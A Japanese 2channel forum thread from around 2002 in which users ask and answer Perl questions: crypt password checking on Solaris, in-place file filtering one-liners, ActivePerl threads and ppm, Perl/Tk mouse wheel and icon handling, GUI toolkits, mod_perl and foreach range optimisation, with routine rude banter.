ソラリスでは認証がきちんと出来ません

crypt ($pass, &Salt);
sub Salt {
my @chr = qw (a b c d e f g h i j k l m n o p q r s t u v w x y z
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 . /);
my $s1 = int (rand 63); my $s2 = int (rand 63);
return "$chr[$s1]$chr[$s2]";
}

このようにパスワードを作って、

sub CheckUserPasswd {
my ($uid, $pass) = @_;

my $user_db = &HashDB::Retrieve ("$user_db_name");
my $rh_USER = $user_db->GetHash ('USER');
if (!defined ($rh_USER->{"$uid"})) { return 0; } ## No such user !

my $crypted_pass = $rh_USER->{"$uid"}->{'PASSWD'};
if ($crypted_pass) { $pass = crypt ($pass, substr ($crypted_pass, 0, 2)); }
else { $pass = ""; }
if ($pass eq $crypted_pass) { return 1; } ## checking passwd OK !
return 0; ## No match !
}
このルーチンで照合しているのですが、
ソラリスで正確に動かない理由ってわかりますでしょうか？
どなたか情報をお願いいたします。

どーでもいーがa b c d e...とか書かないで
"a".."z"みたいにまとめれ

>>637
$data_dirのパーミッションとcgiのEUIDをチェックしれ。
パスワードの方は自分で書いたコードで弾いてるんだからいくらでもデバッグの方法はあるだろう。
つかこれくらい自己解決できないならとっとと転職しろ。

浮上

perl5.7.3に標準で付いてくるEncodeって何するモジュール？
文字コードを操作するものらしい、ってのはわかるけど、それ以上の事はわからん。
なんかH2ZとかTrとかあるし。文字コード変換なのかな？

DUP_CHECK_FILE.txtというファイルに1万行のURLが書かれてあります。
『http://』で始まり、『.jpg』で終るという行が1万行続きます。
で、この中で
http://pinktower.com/で始まるもの以外のURLをDUP_CHECK_FILE.txt.origに書
き出すという処理をコマンドラインで行おうとしています。

でもうまく行かない・・・。

とりあえずこんな感じでもういっぱいいっぱいです。

perl -i.orig -p -e '!/^http\:\/\/pinktower\.com\/(.*?)\.jpg$/' DUP_CHECK_FILE.txt

これだとDUP_CHECK_FILE.txtのファイルの内容がすべて
DUP_CHECK_FILE.txt.origにコピーされるだけなんです。
お願いします。

>642
pスイッチだと全部出力しちゃうので，
nスイッチにして 'm|^http://pinktower.com/| or print'とするとか。

perl -i.orig -p -e 's/^http\:\/\/pinktower\.com\/(.*?)\.jpg\n$//' DUP_CHECK_FILE.txt

これでうまく行きました。

>>643
ありがとうございます。
いろんなスイッチがあってちょっと混乱気味。
それ、ちょっと試してみます。
色々学ばねば・・・。

Windows2000+ActivePerlで以下のようなperlスクリプトを実行すると、
xcopyのオプション(/i)が効きません。

#!/perl
system("xcopy /i C:/test1.txt C:/test2.txt");

perlがxcopyを実行する時に/iのスラッシュがバックスラッシュに
置き換えられているんだと思うのですが、
これを回避する方法はあるのでしょうか。

既出ならすんません

嘘ついてました。
/iちゃんと効いてます。
逝ってきます。

>>646
夕飯までには帰るのよ

モジュールのインストールについての質問です。

>>460-462
と似た状況なのですが、
Activeperlがなぜか２つインストールされているNTサーバで
(5.6.1ですが、buildは626と629)
ppmによるインストールがうまくいきません。
適合するパッケージを使っているにもかかわらず
「このperl構成(MSWin32)じゃ使えない」ってエラーが来ます。

2つあるのがまずいんでしょうか？
できれば2つのままでインストールできるようにしたい
（片方アンインストールした時に何かあるとマズーなので）のですが。

入れたいモジュールはDBI関係です。
CPANや直コピーでも大丈夫でしょうか？

>>648
両方アンインストールして、最新のものだけ入れ直して下さい。

>>649
あー、それがやっぱり一番確実ですか。
ありがとうございました。検討してみます。

>>650
はい。
原因不明の障害がでて、どっちが悪さしているのか
わからない状況になるよりは、一度きれいにして、
なんかトラブルがあったら誰が悪さしているのか、
わかる状況になっていないと困ると思います。

バージョンのことについて質問なんですけど、
1.0.0から始まったとしてこの３桁はそれぞれどのような意味をもっていて
もしどこか１つが10になったら繰り上がるんでしょうか？

例えばバグの修正をしていて1.0.1〜1.0.9まできて
その次はどのように表記したらいいんでしょうか？

特にバージョンの番号に決まりは…

1.0.91とかわりと普通

うーん、1.2.3みたいに表す場合、小数点と言う意識があんまりないっぽい。
1.0.9の次は1.0.10、みたいに単純に数が大きくなってくのをよく見る気がする。

左から
・メジャーバージョン
・マイナーバージョン
・リリース番号
・ビルド番号

リリース番号、ビルド番号は省く場合も多い
それぞれ0以上の値をとる整数値

決まりはないけど伝統的なルールは色々あるね。
知りたきゃ検索すれ。

そんじゃ例えば　1.0.1 のときにマイナーバージョンあｐしたら
1.1.1になるの？それとも1.1.0にクリアされるとか・・？
完全にそう、っていうのじゃなくていいので
一般的にどうだとか、そんな感じに教えていただければありがたいのですが。

KENT WEBの場合はどんな感じなんでしょうか？

自分でしっくり来る方にすればいいじゃん。。

こんにちは。
@ARGV から与えたファイルの中身を（行単位でなく）スカラー変数の
中に押し込んで文字列置換をしたいのですが、今までだと

while(<>){ $data = "$data$_" }

とやっていました。もっとスマートなやり方は無いでしょうか？
（きっとあるはず・・・）

join '',@ARGV;

>>659
ヒントをありがとうございました。
$_=join '',<>;　で逝けました。

http://www.cpan.org/

ぐわーっ
"Comprehensive Java Archive Network"って有ったら欲しいな。マジで。

>>661
ﾜﾗﾀ

2日になったのに残ってる…と思ったらあちらさんはまだ1日か。

あぼーん

プログラム板から来ました。
Perlの話題はやっぱこっちかなと思ったので。

早速ですが、拡張正規表現の(?>パターン)の使い方が分かりません。
Perl5から実装されているはずなのですが、らくだ本にも載ってません。
少ない情報から使い方を判断するに、

m/(?>パターン１)パターン２/　だと、
パターン１にマッチしたもの以外でパターン２にマッチしたもの
のような感じだと思うのですが違いますか？

> (?>パターン)
> 最短マッチを行う独立した部分正規表現です。このパターンにマッチした部分の
> 文字列は、(?>パターン)のあとのマッチ対象からは除去されます。これを利用
> すると、マッチしないパターンの識別が高速化されます。

↑ポケットリファレンスでしょ？
でも使い方まで載ってないんだなぁ。

(?>pattern)はperlreを読む限りでは、実験的で予告なしに改変したり
削除するかもってことだから、使わないのが吉かと。
使い方はperlreを参照。
http://www.perldoc.com/perl5.6.1/pod/perlre.html#(-%3epattern)

perldoc perlreでも見てみれば？

667,668
ｹｺｰﾝ!
↑これが一発で変換できてしまうのが悲しい。
２ちゃんに書けば書くほどATOKがバカになっていく。

WindowsMeでActivePerlを使っているのですが
SendToにPerlスクリプトを入れてバッチ処理みたいなことを
させたりということはできないんですか?

>670
実際にわたしはそれをやっていますが、できなかったの？ 実際にやってみたの？
やったかどうかも書いてないが、ネタか？

>>670
sendtoと言わずに関連づけしなさいな。

>>672
ちなみにwin2kなんだけど
関連付けても出来なかったんだけど？

>>673
不満なら自分で調べれば？
2k使えるくらいだから常識くらいはあるだろ。

つーかわざわざSendToに入れるのめんどくさいんだけど

>>674
いちおう検索エンジンくらいは調べたつもりなんだけどねぇ

バッチファイル(.bat)でも作れば？
@hogehoge.pl %*
とか
@perl hogehoge.pl %*
でもいいけど。
hogehoge.plは見つけられるようにしてくれ。

>>677
自分もバッチファイルで対応してるけど、これが普通なの？
いちいちバッチファイル作るの面倒くさい。
9x系の時は、PIFファイルを置いてたけど。。。

>>675
フォルダやファイルを引数にして、スクリプトを実行
させる場合は、SendTo が便利。

>>678
ActivePerlにPerl→bat変換するバッチファイルがついているので
それを使えば？

数値のグラフ化って、みんなどうしてる？

たとえば、アクセス数をグラフ化したり、ここの
http://www.yakin.cc/
転送量のグラフみたいなものだけど、こういうのの生成って
やっぱしＣかなんかで書いているのかなぁ？

このあたりをお聞かせ下さい。

>>680
img src="1.gif" hright="' + $graph * 8 + '"

GD::Graph使ってる。
重いけど、難があるほどじゃないから、まぁいいか、と。

>>679
さんくす。
perl\bin\pl2bat.bat だよね。

これって、Perlスクリプト自体をバッチファイルに埋め込んで
実行させるのか。何か強引だな。

>>677
やっぱり単純にperlスクリプトを呼び出すだけの一行バッチファイルを
SendToフォルダに置くのが一番シンプルなのか。。。

参考
http://www.kt.rim.or.jp/~kbk/perl5.005/perlwin32.html#item_Perl
http://www.harukaze.net/~mishima/perl/faq/perlwin32faq/perlwin32faq4j.html#What_s_the_equivalent_of_the_she

vectorにこんなのあったぞ
Win2000用らしいけど
http://www.vector.co.jp/soft/winnt/util/se230667.html
試してないからどんなやつかは知らんが
説明みるかぎりバッチファイル化の手間を省いてくれそうな感じだが

>>684
使ってみたよ
とりあえずSendToはOKになった、ありがとね

perlのプログラムをコンパイルする方法ない？

>>686
えーー（；´Д｀）

>>686
perlcc

>>686
Windows用ならPerl2Exe

２次元配列の初期化するのに、例えば三列二行の二次元配列を
全て0にするには、
$var = 0 ;
@array = (
[ $var , $var , $var ] ,
[ $var , $var , $var ]
) ;
は分かるのですが、列数と行数を与えて初期化
するのはどのようにしたらいいのでしょうか？
$retsu = 5 ;
$gyou = 3 ;
$var = 0 ;
・・・ここから行き詰まってます。
ヒントでもお教え下さいませ。

690はネタなので相手にしないこと。

>690
ネタでも敢えて．．．

$zero= 0; $col= 5; $row= 2;

$rec= [($zero) x $col];
push(@set, $rec) while ($row--);

答えようと思ってリロードしたら...
>>690ってネタなんですか？

ネタ(?)にマジレス格好悪いが...
>>690
-------
#!/usr/bin/perl

use strict;

my $row = 3;
my $col = 5;
my $init = 0; # 初期値

my @array = map { [ ($init) x $row ] } 0 .. $col;
--------

先越されたよい。書く前にもう一回リロードすれば良かった。

>692
ほんとは
push(@set, [($zero) x $col]) while ($row--);
ってやらないと同じアドレスを参照するから気を付けて！

>693
row と col の意味が逆だし、0 .. $col だと１つ多いと言ったか言わないか
のうちに送信するテスト。

>my @array = map { [ ($init) x $col ] } 1 .. $row;
訂正。

あ...また。
>>696 その通りですね。リロードすれば良かった...。
.
.
.
.
.
もういや...

そんなあなたに乾杯

うぜえええええええええええええええええ

>698
落ち込むなって(w

Windows2000+Perlでスレッドプログラミングしたいんだけど、
Win32::APIを使うことまでは分かったんだけど
実際にどうやったらいい？

use Thread;

use Thread;
↑使えるの？

Googleで検索してたら、↓のような記述が出てきたんですけど
そうなのかなぁ。ローカルのPerl5.005に入れなおしてみます。

＞Threadモジュールは5.xxx用でv5.6.xでは使えないみたいです。

ん（’_’?）
ActivePerlの5.005（_03）にはThreadモジュール自体が入っていない。
ActivePerlの5.6.1ではThread.pmは入ってるみたいだけど、

>The Thread extension requires Perl to be built in a particular way to
>enable the older 5.005 threading model. Just to confuse matters, there
>is an alternate threading model known as "ithreads" that does NOT
>support this extension. If you are using a binary distribution such
>as ActivePerl that is built with ithreads support, this extension CANNOT
>be used.

って書いてある。
まったく、Threadくらい実装しろや＞ActivePerl

Google検索でもうひとつ。
＞Perl/5.004_50あたりから対応が入ってるんですが
だそーです。
結局ActivePerlではThreadモジュールは使えないってことですな。

Buildが新しければ新しいほどThread実装に近づくのかと
思っていたんだけど、今、ActivePerl-5.6.0(.611)を入れてみた。
するとThread使えるみたい。
なんかお騒がせしました。

いや、やっぱできてない。
エラー表示が、変わったからできたかと思ったんだけど・・・
今は、全てのバージョンを当たって確かめてます。
もうsageで。

やっぱ駄目。ActivePerlのバイナリ配布の全てのバージョンは
Thread使えませんでした。（まったく何なんだよ）
というわけでWin32::APIを使った方法でしかスレッドプログラミングは
できないのではないでしょうか？

コンパイルオプションでスレッドを有効にしてビルドしたPerlじゃないと
Threadは使えないよ。

perldoc perlthrtut
を見よ。

↑こんな英語の長文読めません。
もうThreadいいや。丸１日つぶしたわ。あほくせー。

そもそもどういうことをしたかったのさ？

>>713
Windows2K+ActivePerl+Perl/Tkで
CSVからデータを読み込んで、メールを一括送信するツールを作ろうかと。
その時に、メールの送信ループ部分をバックグラウンドで動かさないと
固まってしまうんですよ。
あと、送信処理をマルチスレッドにしれば、同時に複数のメールを
送れるから処理時間が短く済むかなと思ったのです。

>>714

送信処理のステップごとに

　$widget->update();

で誤魔化して見たり。

Perl/Tkのテキストウィジェット使いにくい。
マウスホイール聞かない。

>>716
マウスホイールは使えるよ。

#!/usr/bin/perl -w

use Tk;
use strict;

my $mw = new MainWindow();
my $text = $mw->Scrolled("Text", -scrollbars => 'e',
            -width => 30, -height => 20)->pack();

setup_mouse_wheel($text);

$text->insert('end', "Mouse Wheel Test -- line $_\n") for 1..300; # てすと

Tk::MainLoop();

sub setup_mouse_wheel #(Tk::Widget $widget)
{
    my $widget = shift;

    if ($^O eq 'MSWin32') { # 窓さんの場合
        $widget->bind('<MouseWheel>' =>
            [ sub { shift->yview('scroll', -(shift() / 120) * 3, 'units') }, Ev('D') ]
        );
    } else { # Xの場合、コレでいけると思う。たぶん
        $widget->bind('<4>' => sub { shift->yview('scroll', -3, 'units'); });
        $widget->bind('<5>' => sub { shift->yview('scroll', +3, 'units'); });
    }
}

Perl/Tk最近使い始めたんだが、Textウィジェットに
日本語入れる時にインライン変換が使えないのだが。。。
日本語化されていないから諦めるしかない？

>>714
Progressbarウィジェットと、進捗情報を表示するLabelウィジェットを
載せたモーダルダイアログを出しておいて、適宜更新する方法では駄目だろうか？

それが面倒なら、
$mw->repeat(1000 => sub { $mw->update() } );
で1秒ごとに強制的に更新するとか。

外部コマンドを実行する際は、Tk::IOか、またはTk::Eventのfileeventメソッドを利用することで、
ディスクリプタへの入出力が可能になる/閉じられるまでブロックせずに待つことが出来るが、
そういう話ではない？（comp.lang.perl.tkでは、コレ関係の質問が一番多いと思うので...）

>>718
MS-Win版の場合は出来ないと思う。出来るようにする方法も知らないなぁ。
日本語化パッチを当てたX版では出来るはず。

>>719
ありがとう。。。素直に諦めます（涙
Perl2exe で GUI アプリを作ろうかなぁと色々試行錯誤していたのですが、
普通のGUIアプリレベルで作るのは難しそうですね。
ちょっと我慢すれば問題ない気もしますけど。

>>717
716じゃないが、Windowsの場合は<MouseWheel>を使えばいいのか。
ためになる。

perl5.8.0まだ？(・ε・)

↑おうよ、それどうなった？
β版とかもまだなの？

WindowsのPerlでGUIアプリケーション作る場合、
最高のGUI環境ってやっぱPerl/TKなんすかね？
もっと、Win32モジュールとか使ってVC++とかで使うような
GUIを使えないかな？

>>724
Win32APIが呼び出せるのならAPIプログラミングは可能ですわ。
CreateWindowExとか調べてみれば？

>>724
Win32::GUIと、The GUI-Loftなんかどうですか？
http://www.bahnhof.se/~johanl/perl/Loft/

以下、個人的ぼやき
Perl/Tk ・・・ 結構使ってきたけど、なんか外見がダサイという人が周りに多い。

Gtk-Perl ・・・ 最近はこっち。Windows版なし。
本家Gtk+はWidnwosにポートされているから可能なのだろうが。

PerlQt ・・・ 使いやすくて好きだけれど、Perlバインディングは開発停止中みたい。
QtのWindows非商用版は2.3でとまってるなぁー。

wxPerl ・・・ Windows版では日本語表示できない
(NT系列ではunicode+unifontで出来るという噂を聞いたが真偽不明)
ボタン一つ利用するのに、いちいちサブクラス化するのは面倒か。

Win32::GUI, FLTK, FOX ・・・ 使ったことがない。
後二者は日本語表示を可能にするパッチが転がってました。

>>723
βといやぁ、5.7.xがそう言えるんじゃないか？

>>726
サンクス！
確かにPerl/Tkはダサい。ただ簡単に使えるのがいいけど。
Win32::GUIは前々から気になってたんだけど勉強がてら
使ってみます。

>>727
なるほど。
まあ調べてみたら5.8.0は今年の５月にリリースらしいから
待ってみます。

PRIMAというPerl用のツールキットを発見しましたが。
....（以下略）

http://www.prima.eu.org/
スクリーンショット http://www.prima.eu.org/big-picture/

Mac OS X用のCamelBonesとやらが良さそうだ。

http://camelbones.sourceforge.net/index.html

Perl/Tkで書かれたのを格好良く見せるこつってあるかな？

>>731
API互換の独自ライブラリを・・・ｗ

>>731
配色を変えてみたり（$toplevel->setPalette()）、ボーダーの値を変更してみたりってのは？
その際、いちいちコードの中にオプションの値を埋め込むのではなく、.Xdefaults
形式のファイルに纏めておいて、$toplevel->optionReadfile(filename, priority)
で読み込むと楽ちん。

>>731
ウインドウの左上に表示されるTkのアイコン（？）がダサいよね。
あれ他のアイコンに変えられないかな？

-------------
|TK
-------------
|
|
|
|

>>734
my $image = $mw->Pixmap(-file => "title.xpm");
$mw->Icon(-image => $image);
# ないし、$mw->iconimage($image);

my $iconImage = $mw->Photo(-file => "icon.gif");
でもよろし

アイコンまで変えられるんだ！そりゃ知らなかった。

>>736
お前が居ると厨房がこの板を荒らすから、一ヶ月レス禁止。

738＝厨房

じゃ、738 一ヶ月レス禁止。

>>736
Dream★や弐編を見習ってスキルをあげるんだな。

>>736
このスレの1だが、お前みたいな低レベル厨房は要らないからどこへでも消え失せろ

>>742
>このスレの1だが

...

(ﾟДﾟ)ﾊｱ？

>>742
http://pc.2ch.net/test/read.cgi/php/990178547/67

>>745
ﾋｯｻｰﾋﾞｻにﾜﾗﾀ

PHPとmod_perlって何がちがうのでしょうか？
素人考えでは、アパッチにモジュールとして組み込んで使うと理解している
のですが、なんだかPHPはメジャーでmod_perlはマイナーな気がします。
何か決定的な違いみたいなのがあるのでしょうか？

>>747
言語仕様。

mod_perlってのはApacheにPerlを組み込むためのフレームワークだがに。

だから
1) 一旦コンパイルしてメモリ上にロードされたモジュール類はApacheの子プロセスがexitするまでそのままメモリに残ってる
2) ApacheのAPIをPerlから使える
3) Apacheのフレームワーク内の随所にPerlで書いたハンドラーを組み込める

自分はPHP使いじゃないので知らないがPHPにも同様のものがあるのかも
しれん。でももし言語としてのPHPの話をしているのならそもそも比較自体がナンセンス。

_gunzipに粘着してる厨房さんは、病院からインターネットですか？

プロバのサービスにあるようなWeb上からパスワード変更のＣＧＩを
作りたいのだが、サンプルないですか？？

>>750←まさに今病院からカキコ

>>752 さっさと病室に帰ろうね。

>>751
スレタイトル読めますか。読めないんだろうね。

あぼーん

Redhat LinaxでPerl5.6.0をインストールしようとすると
「./Configure」の後の「make」でエラーになってしまいます。

エラーは最後の行にこんな感じで表示されてました。
make: *** [miniperl] エラー１

Linaxにさわって間もないので、よくわからないのですが、
何かしなければいけないのでしょうか？

さすが兄貴、tar.gzですか。
まぁ、rpmにしたところで、apt-getにはかなわんな。

程度の低い書き込みはいらん

>>756
それだけじゃわからんので答えられないが、perl5.6.0はよしとけ。
コンパイルするんだったらちゃんとwww.perl.comから
perl5.6.1(stable.tar.gz)をひろってきなさいな。

>>759
一応、www.perl.comから落としたstable.tar.gzなんですよ。
しょうがないので、perl5.005_03.tar.gzにしたら大丈夫でした。

>>760
ということはそれはperl5.6.1のはずだけど・・・ただの間違い？
できれば5.6.1のほうがいいよ。大分違うから。

次からはどこでこけたのかしっかり書き出すべし。

age

レベルの高い話題とは、具体的にどんなもの？

>>763
foreachの計算量とか。

>>764
>foreachの計算量とか。

?

>>763
!レベルの低い話題（誰でも判断可能）

>>764
>foreachの計算量とか。

何のことですかにゃ？？？


そういえば、はるか昔、Perl 5.005 くらいか、

　foreach (1..1000000)
　とやったときに、巨大な配列を作らないようにしました。

という仕様変更を見ましたが、これってどういう仕組みなのかどなたかご存知ですか？

( ) の中を変数展開することなしに、foreach ループを実行するってことなのかなぁ。
そんなことができるんだったら、foreach (@big_array) も効率は悪くない。

そうではなくて、
「foreach ( 数字..数字 ) はよく使われる書法だから、この場合のみ最適化した」
というのであれば、foreach (@big_array) の効率が上がったわけではないのにゃ…。

>>767
昔はforeach(1..1000000)は内部的に
@array=(1..1000000);
foreach (@array)
って風に一回配列を作ってからforeachにかけてたんじゃないかな。
だからまず@arrayを作るのに時間がかかって、@arrayを評価するのにも時間がかかって…みたいな。

ちなみに
use Benchmark;
@array = 1..100000;
timethese(1000,{
'array'=> q{ foreach (@array) { $_ } },
'0..10'=> q{ foreach (1..100000) { $_ } },
});

Benchmark: timing 1000 iterations of 0..10,array...
0..10: 131 wallclock secs (131.49 usr + 0.00 sys = 131.49 CPU) @ 7.61/s (n=1000)
array: 152 wallclock secs (152.09 usr + 0.00 sys = 152.09 CPU) @ 6.58/s (n=1000)

うちだとこんな結果が出た。Win98 perl5.6.1 CPU466MHz

ここら辺が正解だと思われまふ。
>>767
>「foreach ( 数字..数字 ) はよく使われる書法だから、この場合のみ最適化した」
ちょっと追加しますが、'a' .. 'z' なども最適化の対象です。

>>768
>って風に一回配列を作ってからforeachにかけてたんじゃないかな。
>だからまず@arrayを作るのに時間がかかって、@arrayを評価するのにも時間がかかって…みたいな。
付け加えるなら、@array分メモリも食います。

>>768さんのベンチマークで前者の方が早いのは、for (1..100)型は
内部でループカウンタを再利用する最適化を行っているので、
毎回カウンタSVの生成破棄にかかる時間を節約することができるからでしょう。
(とはいえ、わずかな時間ですから気にする必要は全くありません)

なるほど〜ご指摘感謝。
面白いなぁ。

このように、くだらなくない話題は見る人が見ないと基地外発言と勘違いされます。とｗ

`kill -KILL _gunzipのPID` if $user eq '_gunzip';

＜＞７６９は初心者です＜＞

`kill -KILL _gunzipのPID` if $user eq '_gunzip';